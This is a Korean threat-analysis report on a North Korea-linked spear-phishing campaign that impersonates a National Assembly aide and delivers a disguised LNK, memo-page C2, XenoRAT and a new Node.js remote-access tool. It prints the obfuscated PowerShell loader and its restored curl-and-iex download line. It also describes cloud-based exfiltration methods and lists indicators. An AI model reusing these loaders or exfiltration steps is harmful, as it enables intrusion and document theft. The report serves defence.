위협분석보고서-genians

공개 메모 서비스를 C2로 악용한 북한 연계 신종 NodeLinkRAT 분석

작성자: Genians | Nov 15, 2026, 12:00:00 PM

◈ 주요 결과 (Key Findings)

  • 국회의원실 선임비서관을 사칭해 세미나 사례비 지급 명목의 답장 유도형 스피어피싱 전개
  • LNK, PowerShell, 무료 웹호스팅, anotepad로 이어지는 다단계 파일리스 체인
  • C2 서버가 접속 시마다 다른 2단계 코드를 배포해 분석과 재수집을 방해
  • 공개 메모 페이지의 코드를 교체해 XenoRAT 또는 NodeLinkRAT 설치
  • 최초 실행 시점 로그 확보와 행위 기반 EDR 탐지 필요



1. 요약 (Executive Summary)

2026년 9월 12일부터 18일 사이, 한국의 국회의원실 선임비서관을 사칭한 위협 행위자가 9월 9일 세미나 참석자를 대상으로 "사례비 지급 신청서"를 미끼로 한 스피어피싱 공격을 수행했습니다.

첫 메일에는 의도적으로 첨부파일을 넣지 않아 피해자의 회신을 유도한 뒤, 국내 웹메일의 대용량 첨부 기능으로 악성 LNK가 담긴 압축파일을 전달했습니다.

LNK 실행으로 내려받은 2단계 스크립트는 예약 작업으로 지속성을 확보하고, 위협 행위자가 공개 메모 서비스에 게시한 악성 스크립트를 주기적으로 내려받아 실행하는 방식으로 이 서비스를 추가 C2로 사용합니다.

메모 페이지에 게시된 코드는 XenoRAT 메모리 실행에서 시작해 Dropbox와 MEGA 등 클라우드 저장소를 이용한 정보 수집, 문서 파일 유출을 거쳐, 최종적으로 Node.js 런타임을 설치하고 JavaScript 기반 원격 제어 도구를 구동하는 형태로 변화했습니다.

지니언스 시큐리티 센터(Genians Security Center, 이하 GSC)는 이 원격 제어 도구를 NodeLinkRAT으로 명명합니다.

이 공격은 TTP, 인프라 선호, 미끼 주제 모두 북한 배후 해킹 그룹의 활동과 유사합니다. 특히 메모 페이지의 내용만 바꾸는 것으로 공격 수단을 전환할 수 있어, 특정 시점의 코드나 C2 주소만으로는 전체 공격을 파악하기 어렵다는 점이 주목됩니다.



2. 배경 (Background)

2026년 9월, 국회의원실 선임비서관을 사칭한 스피어피싱 메일이 포착되었습니다. 아래 화면은 피해자가 실제로 받은 메일입니다.

[그림 2-1] 국회의원실 사칭 사례비 서류 요청 스피어피싱 메일

메일 제목은 "[OOO 의원실] 9.9 세미나 사례비 관련 서류 요청"입니다. 발신자 이름은 "OOO 선임비서관"으로 표시됩니다. 피해자는 실제로 9월 9일 세미나에 참석한 인물입니다.

첫 메일은 9월 12일 18시 49분에 도착했습니다. 세미나 참석에 감사하다는 인사로 시작합니다. 이어 사례비 지급 신청서를 보내니 기재해 회신해 달라고 요청합니다. 그러나 메일에는 첨부파일이 없습니다. 실수가 아니라 의도된 설계입니다.

피해자는 다음 날 "첨부 서류가 없네요"라고 회신했습니다. 위협 행위자가 기다리던 반응입니다. 피해자가 먼저 파일을 요청한 셈이 되어, 이후 도착하는 첨부는 의심 없이 열리게 됩니다.

위협 행위자는 "첨부파일 다시 보내드립니다"라며 두 번째 메일을 보냈습니다. 웹메일의 대용량 첨부 기능을 사용했고, 파일명은 "사례비 지급 신청_개인정보 동의서.zip"입니다.

압축파일 안에는 HWP 문서로 위장한 "사례비 지급 신청_개인정보 동의서.hwp.lnk"가 들어 있습니다. 바로가기 확장자는 기본적으로 표시되지 않아 ".hwp"로만 보입니다. 그리고 아이콘 왼쪽 아래에 작은 화살표가 나타나므로, 이 점을 눈여겨볼 필요가 있습니다. 참고로 레지스트리 정책에 따라 바로가기 아이콘 설정을 변경할 수 있습니다.

[그림 2-2] ZIP 파일과 내부에 포함되어 있던 LNK 파일



3. 위협 분석 (Threat Analysis)

3-1. 사례비 지급 신청_개인정보 동의서.hwp.lnk

압축 해제된 "사례비 지급 신청_개인정보 동의서.hwp.lnk" 바로가기 파일은 HWP 문서로 위장되어 있으나, 본 사례의 경우 일반적인 레지스트리 설정 조건에서는 HWP 아이콘이 정상적으로 표시되지 않습니다.

[그림 3-1] 악성 LNK 파일 화면

이는 해당 LNK 파일의 아이콘 경로가 로컬이 아닌 GitHub 원격 서버(norrisk983/hukushima)로 지정되어 있기 때문입니다. 참고로 유사 공격에 따라 동일한 아이콘이 존재하는 서버가 다수 관찰되고 있어, 아이콘 리소스를 통해 위협 귀속에 활용할 수 있습니다.

2024년 7월 Windows 보안 업데이트 이후에는 원격 경로의 바로가기 아이콘 사용이 기본적으로 제한되는데, 위협 행위자는 이러한 점을 제대로 파악하지 못한 것으로 보입니다.

다만 레지스트리의 EnableShellShortcutIconRemotePath 정책이 허용된 환경에서는 원격 경로에 지정된 아이콘이 표시됩니다.

[그림 3-2] 원격 주소에 등록된 아이콘 화면

LNK 속성 정보로 확인된 명령어는 공통적으로 'cmd.exe'를 통해 PowerShell을 최소화 및 숨김 상태로 실행한 뒤, 문자 치환 방식으로 난독화된 명령어를 복원하여 실행하는 구조입니다.

이렇게 복원된 명령어는 'curl.exe'를 이용해 외부 C2 서버에서 PowerShell 코드를 다운로드하고, 'Invoke-Expression'을 통해 해당 코드를 즉시 실행합니다.

[그림 3-3] LNK 속성정보의 명령어 화면

변종에 따라 난독화에 사용되는 변수명, 치환 식별자, 문자 매핑 배열, 식별자용 문자열, URL 파라미터 등은 서로 다르게 구성됩니다. 그러나 명령어를 복원한 후 외부 서버에서 코드를 다운로드하고, 다운로드된 코드를 실행하는 핵심 동작은 유사 변종에서 동일하게 확인됩니다.

먼저 바로가기 대상 명령어 전문은 가독성을 위해 난독화 문자열의 중간 부분은 생략하였고, 특정 값은 일부 마스킹하였습니다.

명령어는 크게 다섯 부분으로 나눌 수 있습니다. 먼저 cmd.exe가 PowerShell을 최소화, 숨김 창으로 띄웁니다. 변수 $Jv에는 치환 식별자로 은닉된 문자열이, 배열 $JP에는 복원용 ASCII 코드값이 담깁니다. 반복문이 각 식별자를 문자로 되돌려 명령어를 복원하면, 마지막의 iEX가 이를 메모리에서 실행합니다.

cmd.exe /c start /min powershell -WindowStyle hidden

$Jv = 'z3Dz0bz4z5z4z1urlz6z0x…z6krz10 ****** z10…z13';

$JP=101,99,112,36,32,61,46,45,39,58,47,63,38,59;for($D7=13;$D7 -ge 0;$D7--){$EQ=[char]$JP[$D7];$Jv=$Jv.replace('z'+$D7,$EQ)};iex $Jv


난독화 문자열은 z0부터 z13까지의 치환 식별자를 사용하며, 각 식별자는 별도의 배열에 저장된 ASCII 코드값과 대응됩니다.

구성 요소 명령어 조각 역할
실행 래퍼 cmd.exe /c start /min powershell -WindowStyle hidden PowerShell을 최소화, 숨김 창으로 기동
난독화 문자열 $Jv='z3Dz0b…z13' 실제 명령을 치환 식별자로 은닉
코드 배열 $JP=101,99,…,59 z0~z13에 대응하는 ASCII 코드값
복원 반복문 for($D7=13;$D7 -ge 0;$D7--){ …$Jv.replace('z'+$D7,…) } z13~z0 역순 치환으로 명령어 복원
실행 iex $Jv 메모리에서 명령 실행

[표 3-1] LNK 명령어의 구성 요소

실행 시 각 치환 식별자를 대응되는 문자로 변경하여 실행 가능한 PowerShell 명령어를 복원하는 방식입니다.

치환 식별자 ASCII 코드(10진수) 변환 문자
z0 101 e
z1  99 c
z2 112 p
z3 36 $
z4 32
Space
z5 61 =
z6 46 .
z7 45 -
z8 39 '
z9 58 :
z10 47 /
z11 63 ?
z12 38 &
z13 59 ;
 

[표 3-2] 치환 식별자와 ASCII 코드 대응표

예를 들어 z3, z4, z5는 각각 $, 공백(Space), = 문자로 변환되며, 역순 치환 과정을 통해 난독화된 문자열이 실제 명령어 형태로 복원됩니다.

역순 처리가 필요한 이유는 식별자 이름이 서로의 부분 문자열을 포함하기 때문입니다. 예를 들어 'z13'에는 'z1'이 들어 있으며, 'z10', 'z11', 'z12'도 마찬가지입니다. 만약 번호가 작은 'z1'을 먼저 치환하면 'z13'의 앞부분 'z1'이 문자 'c'로 바뀌어 'c3'이 되고, 본래 세미콜론(;)으로 복원되어야 할 'z13'이 손상됩니다. 반대로 'z13'부터 처리하면 두 자리 식별자가 먼저 온전히 치환되므로 이러한 충돌이 발생하지 않습니다. 반복문이 13에서 0까지 내려가며 동작하는 것은 바로 이 때문입니다.

모든 식별자의 치환이 끝나면 난독화 문자열은 실행 가능한 PowerShell 명령어로 복원됩니다. 복원된 결과는 아래와 같으며, 경로에 포함된 피해자 식별용 값은 생략했습니다.

$Deb = curl.exe -s 'https://epaper.dothome.co[.]kr/******/?…';iex $Deb;

이러한 문자 치환 난독화는 정적 탐지를 회피하기 위한 장치입니다. 명령어 문자열에 'curl', 'iex', 'http'와 같은 탐지 키워드가 평문으로 노출되지 않으므로, 문자열 기반 시그니처나 단순 패턴 매칭만으로는 악성 여부를 판별하기 어렵습니다.

변종마다 변수명과 치환 식별자, ASCII 배열의 구성이 달라지는 점 역시 동일 시그니처의 재사용을 막아 탐지와 분석을 지연시키는 역할을 합니다.

2단계 로더 자체는 디스크에 기록되지 않고 메모리에서 실행되는 파일리스(fileless) 방식이므로 파일 기반 보안 검사의 범위를 벗어납니다. 또한 cmd.exe, powershell.exe, curl.exe처럼 운영체제에 기본 포함된 정상 도구(LOLBin)만 사용하므로 별도의 악성 실행 파일 없이 공격이 진행됩니다. 다만 지속성 확보를 위한 스크립트는 이후 디스크에 생성됩니다.

 

3-2. 2단계 페이로드와 다단계 실행 체인

복원된 명령어는 curl.exe로 2단계 스크립트를 내려받아 iex로 실행합니다. 특히 위협 행위자는 C2 접속 시마다 스크립트가 달라지도록 다형성으로 구성해 두었습니다.

[그림 3-4] C2 접속시 보여지는 스크립트

이 스크립트는 초기 단계에서 디스크에 저장되지 않고 메모리에서만 동작하는 PowerShell 기반의 2단계 로더입니다. 첫 번째 변수에는 HEX 인코딩된 암호문이, 두 번째 변수에는 256자의 영숫자로 구성된 XOR 키가 저장되어 있습니다.

XOR 연산으로 복원된 PowerShell 코드는 HTTPS 통신을 위해 TLS 1.2를 설정한 뒤, Base64로 인코딩된 두 개의 문자열을 디코딩합니다.

이 과정에서 '.substring(12)'와 '.substring(10)'을 사용해 각 문자열의 앞부분에서 각각 12글자와 10글자를 제거한 후 Base64 디코딩을 수행하는 방식으로, 실제 코드를 숨기기 위한 난독화 기법이 적용되어 있습니다.

복원된 코드는 %APPDATA% 경로에 VBScript 파일(j1u3uIqPQeRHnA.Jcu)과 PowerShell 스크립트(UPA.ps1)를 생성합니다. 이후 CommonMaintenanceHost라는 이름의 예약 작업을 등록하여, 1분 뒤부터 38분마다 wscript가 .Jcu 파일을 VBScript로 실행하고, 이 VBScript가 다시 UPA.ps1을 숨김 창으로 실행하도록 구성합니다.

[그림 3-5] XOR 연산으로 복원된 PowerShell 코드

또한 2단계 코드는 크기가 51,200~56,200바이트인 파일을 현재 경로, Downloads, %TEMP% 순으로 찾아 원본 LNK 파일을 식별합니다. 이후 파일 내부에서 구분자 문자열 'Akcq39XFG5uEOZbN'을 찾아 그 뒤의 데이터를 잘라내고, 파일명에서 '.lnk'를 제거한 이름으로 저장해 실행합니다.

이렇게 정상 HWP 서식이 열리면 사용자는 문서를 정상적으로 열었다고 인식하며, 원본 LNK 파일은 삭제됩니다. 이 과정에서 실행 경로와 탐색 결과는 %APPDATA%\zybJ0F.txt에 기록됩니다.

HWP 문서는 실제 사례비 지급 신청서로 위장한 미끼 파일로 동작하며, 아래와 같은 화면이 나타나게 됩니다.

[그림 3-6] 정상 HWP 미끼 문서 모습

미끼 문서에는 성명, 은행명, 계좌번호 등을 기재하는 항목이 포함되어 있어, 피해자가 이를 작성해 회신할 경우 민감한 개인정보가 위협 행위자에게 그대로 전달될 수 있습니다.

UPA.ps1은 실행 후 최대 약 10분간 무작위로 대기한 뒤, 추가 명령 채널(C2)인 온라인 메모 공유 서비스에 접속하여 데이터를 다운로드하게 됩니다.

이후 특정 마커 문자열 사이에 숨겨진 Base64 코드를 추출해 디코딩한 뒤 실행하며, 상세 동작은 아래에서 설명합니다.

[그림 3-7] 추가 명령 채널로 사용된 온라인 메모 서비스

anotepad[.]com은 웹에서 메모를 작성, 저장, 공유할 수 있는 정상적인 온라인 메모 공유 서비스인데, 이를 C2 통신 경로로 꾸준히 악용하고 있습니다.

위협 행위자는 해당 서비스에 마커 문자열로 감싼 Base64 인코딩 악성 코드를 게시하고, 메모 내용을 수시로 바꾸는 방식으로 추가 악성코드나 공격 명령을 변경하고 있습니다.

이와 유사하게 notepal[.]me, hypernotepad[.]com 등 다른 온라인 메모 공유 서비스가 악성코드 유포 및 C2 통신에 악용된 사례도 존재합니다.

UPA.ps1은 anotepad 메모 페이지 내용을 내려받은 뒤, 정규식 (?<=887wgJs8)(.*?)(?=nfJgcBl)을 이용해 시작 마커 887wgJs8과 종료 마커 nfJgcBl 사이의 문자열만 추출합니다.

추출된 문자열은 HTML 디코딩과 Base64 디코딩을 거쳐 IEX로 메모리에서 실행됩니다.

메모 페이지의 Base64 문자열과 마커는 시점에 따라 변경될 수 있으며, 분석을 방해하기 위해 메모 내용에 실제 C2가 아닌 가짜 주소를 넣어 두기도 합니다. 또한 UPA.ps1 코드 일부에 오타가 포함된 사례도 확인되는데, 이 경우 디코딩 단계에서 오류가 발생해 3단계 코드가 실행되지 않을 수 있습니다.

[그림 3-8] UPA.ps1 스크립트에 포함된 Base64 추출 명령어

이렇게 추출된 Base64 디코딩 값은 위협 행위자의 의도에 따라 다양한 형태의 악성 동작을 수행하게 됩니다.

 

3-3. 메모 페이지를 통한 공격

메모 페이지의 Base64 문자열을 통해 복원된 명령어는 수집 시점에 따라 여러 차례 변경되었습니다.

GSC는 2026년 6월부터 10월까지 다수의 3단계 코드를 확보했으며, 공격 도구는 XenoRAT, 정보 수집 및 유출 스크립트, 문서 탈취 스크립트, Node.js 기반 원격 제어 도구인 NodeLinkRAT 순으로 바뀌었습니다.

수집일 코드 수 주요 기능 C2 / 유출 경로
2026.06.18 1 XenoRAT 변형 메모리 실행 103.81.116[.]10 (IN)
2026.09.18 3 시스템 정보 수집 및 유출 Dropbox API
2026.09.27 1 시스템 정보 수집 및 유출 MEGA 클라우드(mega[.]nz)
2026.09.28 4 시스템 정보 수집(3), 문서 파일 유출(1) Dropbox API, oppsite.dothome.co[.]kr
2026.10.16 1 NodeLinkRAT 설치 및 실행 207.148.112[.]166 (JP)

[표 3-3] 메모 페이지를 통한 공격

3-3-1. XenoRAT 메모리 실행 (2026년 6월 18일)

처음 확인된 코드에는 PE 파일 전체가 10진수 숫자 문자열로 변환되어 들어 있었습니다. 스크립트는 이 문자열을 바이트 배열로 바꾼 뒤 [System.Reflection.Assembly]::Load로 메모리에 적재하고, 진입점(EntryPoint)을 직접 호출합니다.

실행 파일이 디스크에 기록되지 않으므로 파일 기반 탐지를 회피할 수 있습니다.

[그림 3-9] XenoRAT C2 화면

복원된 PE는 .NET 기반 XenoRAT 변형입니다. 네임스페이스는 MSOfficeServer로 바뀌어 있지만, 핸들러 구조와 메서드 구성이 오픈소스 XenoRAT 클라이언트와 일치합니다.

C2 주소는 103.81.116[.]10이며, 버전 정보에는 Microsoft 저작권 문구와 Updater.exe라는 원본 파일명을 넣어 정상 프로그램처럼 위장했습니다.

이 코드는 9월 스피어피싱보다 약 3개월 앞서 확인되었습니다. 같은 메모 인프라가 이전부터 운영되었으며, 이번 메일 이전에도 다른 표적에 대한 공격이 있었을 가능성을 보여줍니다.

3-3-2. Dropbox 기반 정보 수집 및 유출 (2026년 9월 18일)

9월 18일에는 메모 페이지에 Base64 블록 3개가 연속으로 게시되어 있었습니다. 세 블록을 디코딩한 결과는 Dropbox 업로드 폴더명만 다르고 나머지 코드는 동일했으며, 폴더명은 각각 피해자 A, B, C를 구분하는 식별자로 보입니다.

수집 스크립트는 설치된 백신 제품, 운영체제 정보, ipconfig /all 결과, 드라이브 목록, 실행 중인 프로세스 목록을 수집합니다. 또한 텔레그램 데스크톱 설치 여부를 확인하고, C:\Users 하위에서 최근 24시간 이내에 수정된 파일 목록을 조회합니다.

수집 결과는 하드코딩된 Dropbox 앱 키와 리프레시 토큰으로 액세스 토큰을 발급받은 뒤, "/피해자 식별자/내부 IP/수집 시각_info.log" 경로로 업로드됩니다. 업로드 후 로컬 로그 파일은 삭제됩니다.

스크립트에는 "Vaccine Information"이라는 항목명과 "텔레그램 폴더가 존재합니다" 같은 한국어 출력 문자열이 있습니다. 백신(Vaccine)은 한국에서 보안 제품을 부를 때 주로 쓰는 표현입니다.

한 메모 페이지에 피해자별 코드가 함께 게시되었다는 점은, 위협 행위자가 하나의 채널로 여러 피해자를 동시에 관리했음을 보여줍니다.

UPA.ps1은 정규식에서 처음 일치한 블록 하나만 실행하므로, 블록마다 서로 다른 마커를 사용했다면 각 피해자의 PC는 자신에게 할당된 블록만 실행하게 됩니다.

[그림 3-10] 정보 수집 및 드롭박스 유출 기능 코드

다만 위협 행위자가 C2 서버에서 내려보내는 스크립트를 계속 변경했기 때문에, 피해자마다 다른 마커를 가진 UPA.ps1이 배포되었을 가능성이 있습니다.

확인되지 않은 다른 방식으로 피해자별 코드를 선택해 실행했을 가능성도 배제할 수 없습니다. 어느 경우든 위협 행위자는 메모 내용만 바꾸는 것으로 피해자별 공격 단계를 개별적으로 조정할 수 있습니다.

3-3-3. MEGA 클라우드를 이용한 정보 유출 (2026년 9월 27일)

9월 27일에는 수집 기능은 그대로 두고 유출 경로만 바꾼 코드가 확인되었습니다. 수집 항목과 출력 형식은 9월 18일 코드와 거의 같지만, 결과 파일을 Dropbox가 아니라 MEGA 클라우드로 보내도록 수정되어 있습니다.

MEGA(mega[.]nz)는 무료 가입만으로 대용량 저장 공간을 제공하는 클라우드 저장소 서비스입니다. 공격자가 주목한 것은 MEGAcmd라는 공식 명령줄 도구로, 화면 없이 명령어만으로 로그인과 파일 업로드를 처리할 수 있어 스크립트에 그대로 끼워 넣기 좋습니다.

스크립트는 먼저 MEGAcmd이 설치되어 있는지 확인하고, 없으면 공식 배포 주소에서 설치 파일을 내려받아 사용자 눈에 띄지 않는 자동 설치 모드로 설치합니다. 이어 백그라운드 서비스를 실행하고, 코드에 적어 둔 계정으로 로그인한 뒤 수집한 로그 파일을 지정된 폴더로 업로드합니다. 업로드가 끝나면 곧바로 로그아웃하고 로컬 로그 파일을 삭제해 흔적을 줄입니다.

이 방식은 앞선 Dropbox 사례와 목적이 같습니다. 통신 상대가 정상 클라우드 서비스이므로 도메인이나 IP 차단만으로는 막기 어렵고, 업무용으로 허용된 환경에서는 경고로 이어지지 않습니다. 또한 설치되는 MEGAcmd 자체가 정식 서명된 정상 프로그램이어서 파일 기반 검사에도 걸러지지 않습니다. 다만 평소 MEGA를 사용하지 않던 PC에서 %LOCALAPPDATA%\MEGAcmd 경로가 갑자기 생성되고 MEGAcmdServer.exe가 숨김 상태로 실행된다면, 침해를 의심할 수 있는 뚜렷한 신호가 됩니다.

3-3-4. Dropbox 앱 교체와 문서 유출 (2026년 9월 28일)

9월 28일에는 메모 페이지에서 4개의 코드가 확인되었습니다. 이 중 3개는 앞선 코드와 같은 정보 수집 구조를 유지하면서 Dropbox 앱 키를 새로 교체한 것입니다. 피해자별로 서로 다른 앱 또는 토큰을 할당했으며, 이는 일부 앱이나 토큰이 차단되더라도 다른 피해자의 유출 경로는 유지하려는 의도로 볼 수 있습니다.

이 중 한 변종은 최근 24시간 수정 파일 대신 최근 사용 문서(Recent 폴더의 바로가기) 목록을 조회하도록 바뀌었습니다. 다만 조회 결과를 로그 파일에 기록하는 코드가 빠져 있어, 실제로는 이 정보가 유출되지 않습니다.

나머지 1개 코드는 정보 수집이 아니라 문서 파일 자체를 탈취하는 스크립트입니다. 유출 경로도 Dropbox에서 한국의 무료 웹호스팅인 oppsite.dothome.co[.]kr로 바뀌었습니다.

스크립트는 사용자 프로필 폴더 전체에서 기준 시각 이후 생성되거나 수정된 문서와 이미지 파일을 찾습니다. 대상 확장자는 doc, docx, xls, xlsx, ppt, pptx, pdf, txt, hwp와 jpg, jpeg, png, gif, bmp, tiff, webp 등입니다.

찾은 파일은 하나씩 "oppsite.dothome.co[.]kr/[식별값]/index.php" 주소로 업로드됩니다.

[그림 3-11] 한국 무료 웹호스팅을 C2로 사용

기준 시각은 %APPDATA%\ts.txt 파일에 저장되며, 처음 실행될 때는 24시간 전부터 찾습니다. 업로드가 끝나면 이 파일을 현재 시각으로 갱신하므로, 다음 실행부터는 그 이후에 새로 생기거나 바뀐 파일만 유출합니다.

UPA.ps1이 38분마다 메모 페이지를 다시 실행하므로, 이 코드가 게시된 동안에는 피해자가 작업하는 문서가 거의 실시간으로 유출됩니다.

3-3-5. NodeLinkRAT, Node.js 기반 원격 제어 도구 (2026년 10월 16일)

10월 16일에는 이전과 전혀 다른 형태의 코드가 배포되었습니다. 앞선 코드들이 PowerShell만으로 정보를 수집하거나 .NET XenoRAT 악성코드를 메모리에 올렸다면, 이번에는 정상 개발 도구인 Node.js를 피해자 PC에 직접 설치하고, 그 위에서 JavaScript로 작성된 원격 제어 도구를 실행하는 방식입니다.

GSC는 이 악성코드를 'NodeLinkRAT'으로 명명하였습니다. 정상 Node.js 런타임 위에서 동작하면서 감염 단말을 공격자의 C2에 상시 연결된 노드로 만든다는 특징을 반영한 것입니다.

스크립트는 먼저 Node.js 공식 배포 사이트(nodejs.org)에서 Windows용 런타임 압축 파일(node-v24.21.0-win-x64.zip)을 내려받습니다. 압축 파일은 영문자 3글자를 무작위로 조합한 이름으로 %TEMP% 폴더에 저장되며, 다운로드 진행 표시줄이 나타나지 않도록 설정해 사용자가 알아차리기 어렵게 합니다.

내려받은 파일은 C:\Users\Public\Music 경로에 압축 해제되고, 폴더 이름은 원래의 node-v24.21.0-win-x64에서 njs로 바뀝니다. 설치가 끝나면 임시 압축 파일은 삭제됩니다. 공용 음악 폴더는 일반 사용자가 거의 확인하지 않는 위치여서, 악성 파일을 숨겨 두기에 적합한 경로입니다.

이어서 Node.js의 패키지 관리자인 npm으로 세 가지 패키지를 설치합니다. socket.io-client는 C2 서버와 실시간으로 명령과 결과를 주고받는 통신 기능을, screenshot-desktop은 피해자 화면을 캡처하는 기능을, ps-node는 실행 중인 프로세스를 조회하는 기능을 제공합니다. 설치 명령은 cmd.exe를 숨김 창으로 실행해 수행하므로, 화면에는 아무런 창도 나타나지 않습니다.

설치가 완료되면 C:\Users\Public\Music\unins000.dat라는 빈 파일을 만듭니다. 이 파일은 설치 완료 표시 역할을 하며, 스크립트는 다음 실행 때 이 파일이 있으면 Node.js 다운로드와 패키지 설치 과정을 건너뜁니다. UPA.ps1이 38분마다 메모 페이지를 다시 실행하더라도 설치가 반복되지 않는 이유입니다. 파일명 unins000.dat는 일반 프로그램의 제거(Uninstall) 정보 파일과 같은 이름이어서, 발견되더라도 정상 파일로 오인하기 쉽습니다.

다음으로 스크립트 내부에 Base64로 인코딩되어 있던 JavaScript 코드를 디코딩해 C:\Users\Public\Music\teamview.js로 저장합니다. 이 파일이 이미 있으면 다시 만들지 않습니다. 마지막으로 앞서 설치한 node.exe로 teamview.js를 숨김 창으로 실행하면, 이때부터 피해자 PC는 C2 서버의 원격 제어를 받게 됩니다.

teamview.js라는 파일명은 널리 쓰이는 정상 원격 지원 프로그램인 팀뷰어(TeamViewer)를 연상시킵니다. 원격 제어 관련 흔적이 발견되더라도 정상 원격 지원 도구로 착각하도록 유도하려는 위장 의도로 보입니다.

이 방식은 탐지 측면에서도 위협 행위자에게 유리합니다. 실제로 실행되는 프로세스는 공식 서명된 정상 프로그램인 node.exe이고, 악성 기능은 별도의 JavaScript 파일에 들어 있습니다. 또한 런타임과 패키지를 모두 공식 사이트와 공식 저장소에서 내려받기 때문에, 다운로드 주소만으로 악성 여부를 판단하기 어렵습니다.

[그림 3-12] Node.js 설치 및 Base64 디코딩 기능 화면

NodeLinkRAT은 Socket.IO로 207.148.112[.]166:3000에 접속해 호스트명, 운영체제, 아키텍처 정보와 함께 클라이언트 식별값을 등록합니다.

이후 C2 명령에 따라 명령 실행, 디렉터리 탐색, 파일 다운로드와 업로드, 파일 및 폴더 삭제, 폴더 압축 유출, 실시간 화면 캡처를 수행합니다.


[그림 3-13] teamview.js에 지정된 C2 서버 주소

통신 내용은 AES-256-GCM으로 암호화되지만 키가 '12345678901234567890123456789012'로 하드코딩되어 있어, 네트워크 트래픽을 확보하면 통신 내용을 복호화할 수 있습니다.

또한 ps-node로 같은 스크립트가 이미 실행 중인지 확인해 중복 실행을 막고, UPA.ps1이 38분마다 메모 페이지를 다시 실행하므로 RAT가 종료되더라도 다시 기동됩니다.

이 RAT에는 표적을 구분하기 위한 클라이언트 식별값이 포함되어 있으며, 해당 값은 9월 28일 문서 유출 스크립트의 업로드 경로에 사용된 값과 동일합니다.

코드에는 이 값 옆에 '반드시 변경할 것(must change)'이라는 개발자 주석이 남아 있어, 표적마다 식별값을 교체해 빌드하는 방식으로 운영된 것으로 추정됩니다. 서로 다른 언어와 C2를 사용하는 두 도구가 같은 식별값을 공유한다는 점은, 두 단계가 하나의 표적 관리 체계 안에서 연속적으로 운영되었음을 보여줍니다.

위협 행위자는 메모 페이지라는 단일 채널을 유지하면서 3단계 코드만 바꿔, 공격 도구를 XenoRAT, 정보 수집 스크립트, 문서 유출 스크립트, NodeLinkRAT 등으로 교체했습니다. 유출 경로 역시 자체 C2 서버, Dropbox, 무료 웹호스팅, MEGA 클라우드 등으로 수시로 변경했습니다.

이처럼 최종 페이로드와 C2가 수시로 바뀌기 때문에, 특정 시점의 코드나 C2 주소만으로는 전체 공격을 파악하기 어렵습니다. UPA.ps1이 메모 페이지를 주기적으로 조회하고 그 내용을 메모리에서 실행한다는 공통 행위를 기준으로 탐지하는 것이 중요합니다.



4. 위협 귀속 (Threat Attribution)

GSC는 이번 캠페인의 귀속을 판단하기 위해 공격 인프라의 등록 정보, 과거 사례와의 인프라 중복, 악성코드의 빌드 지문과 설정값, 위협 행위자가 선호하는 서비스 유형 등을 교차 분석했습니다.

4-1. 유출 인프라의 등록자 정보

GSC는 anotepad[.]com을 명령 채널로 사용한 유사 사례에서 식별된 Dropbox 계정의 가입자 정보에 주목했습니다. 해당 계정은 표시 이름으로 'Christopher', 가입 이메일로 c0653159@gmail[.]com을 사용했습니다.

[그림 4-1] 드롭박스 가입자 정보

이번 캠페인의 정보 수집 스크립트는 Dropbox 앱 키와 리프레시 토큰을 코드에 하드코딩한 뒤 OAuth 액세스 토큰을 발급받아 수집 결과를 업로드하는 구조입니다. 이 방식은 위협 행위자가 자신의 계정을 직접 생성해 운영해야 하므로, 계정 등록 정보는 익명 임대가 가능한 C2 서버 정보보다 추적 가치가 높은 단서입니다.

확인 결과 해당 지메일 주소는 2025년 한국 내 북한 분야 종사자를 대상으로 한 피싱 공격에 사용된 이력이 있습니다. 이는 이번 캠페인의 운영 주체가 과거 대남 정보 수집 활동을 수행한 행위자와 동일한 계정 자산을 공유하고 있음을 보여줍니다.

 

4-2. 피싱 페이지 구성과 C2 대역 중복

이번 사례에서 확인된 네이버 마이박스 보안 알림 위장 화면은 2024년에 관찰된 피싱 사례의 화면 구성과 거의 동일합니다. 당시 사용된 인프라는 inmain.22web[.]org(185.27.134[.]207)와 owna.loveslife[.]biz(185.27.134[.]120)로, 두 주소 모두 동일한 185.27.134[.]0/24 대역에 속합니다.

[그림 4-2] 네이버 마이박스 보안 알림으로 위장한 피싱 메일

피싱 페이지의 화면 구성이 동일하다는 것은 같은 피싱 키트가 재사용되었음을 의미하며, C2가 동일 대역에 집중되어 있다는 것은 동일한 호스팅 사업자를 반복적으로 이용했음을 의미합니다. 두 요소가 함께 관찰될 경우 단순한 기법 모방이 아니라 자산 재사용으로 판단할 수 있습니다.

GSC는 2024년 12월 '위협 행위자 김수키의 이메일 피싱 캠페인 분석' 보고서를 통해 해당 피싱 캠페인을 김수키 그룹의 활동으로 분석한 바 있습니다.

 

4-3. XenoRAT 변종의 빌드 지문 비교

이번 공격에서는 세 종류의 XenoRAT 변종이 확인되었습니다. 두 변종은 인도 소재 103.81.116[.]10을, 나머지 한 변종은 한국 소재 211.223.14[.]75를 명령 서버로 사용하며, 통신 포트는 모두 443입니다. XenoRAT은 오픈소스로 공개되어 누구나 빌드할 수 있으므로, 사용 사실 자체만으로는 귀속 변별력이 높지 않습니다. 다만 북한 연계 그룹이 이 도구를 지속적으로 채택해 왔다는 점에서 주목할 필요가 있습니다.

이번 캠페인 역시 문서로 위장한 LNK 파일, 난독화된 PowerShell, 정상 서비스를 경유한 페이로드 전달, 예약 작업 기반 지속성이라는 동일한 실행 체계를 사용합니다. 세 변종의 바이너리를 비교한 결과는 다음과 같습니다.

항목 변종 1 변종 2 변종 3
MD5 6985f297c03520a5852734a385322d8d a151531b792b1df1eec8d3a6a8e1ded5 a15df586bf29e7c1a5db64d603cee382
C2 103.81.116[.]10 103.81.116[.]10 211.223.14[.]75
AssemblyTitle MSOfficeServer MSOfficeServer MSOfficeServer
TypeLib GUID 200b1ad6-f1ff-49de-aa9c-b07d2615cdec 200b1ad6-f1ff-49de-aa9c-b07d2615cdec 200b1ad6-f1ff-49de-aa9c-b07d2615cdec
Mutex v8SXeXXXKSDFr5fJgfDIYrcMxjgtjBj5 IbfXgQPt20kszwAzuy85BJIKr0IrJUs2 IbfXgQPt20kszwAzuy85BJIKr0IrJUs2
위장 파일명 invo.exe Updater.exe Updater.exe
 

[표 4-1] XenoRAT 변종 비교

먼저 세 변종 모두 AssemblyTitle이 MSOfficeServer로 동일하며, 어셈블리 GUID 또한 200b1ad6-f1ff-49de-aa9c-b07d2615cdec로 일치합니다.

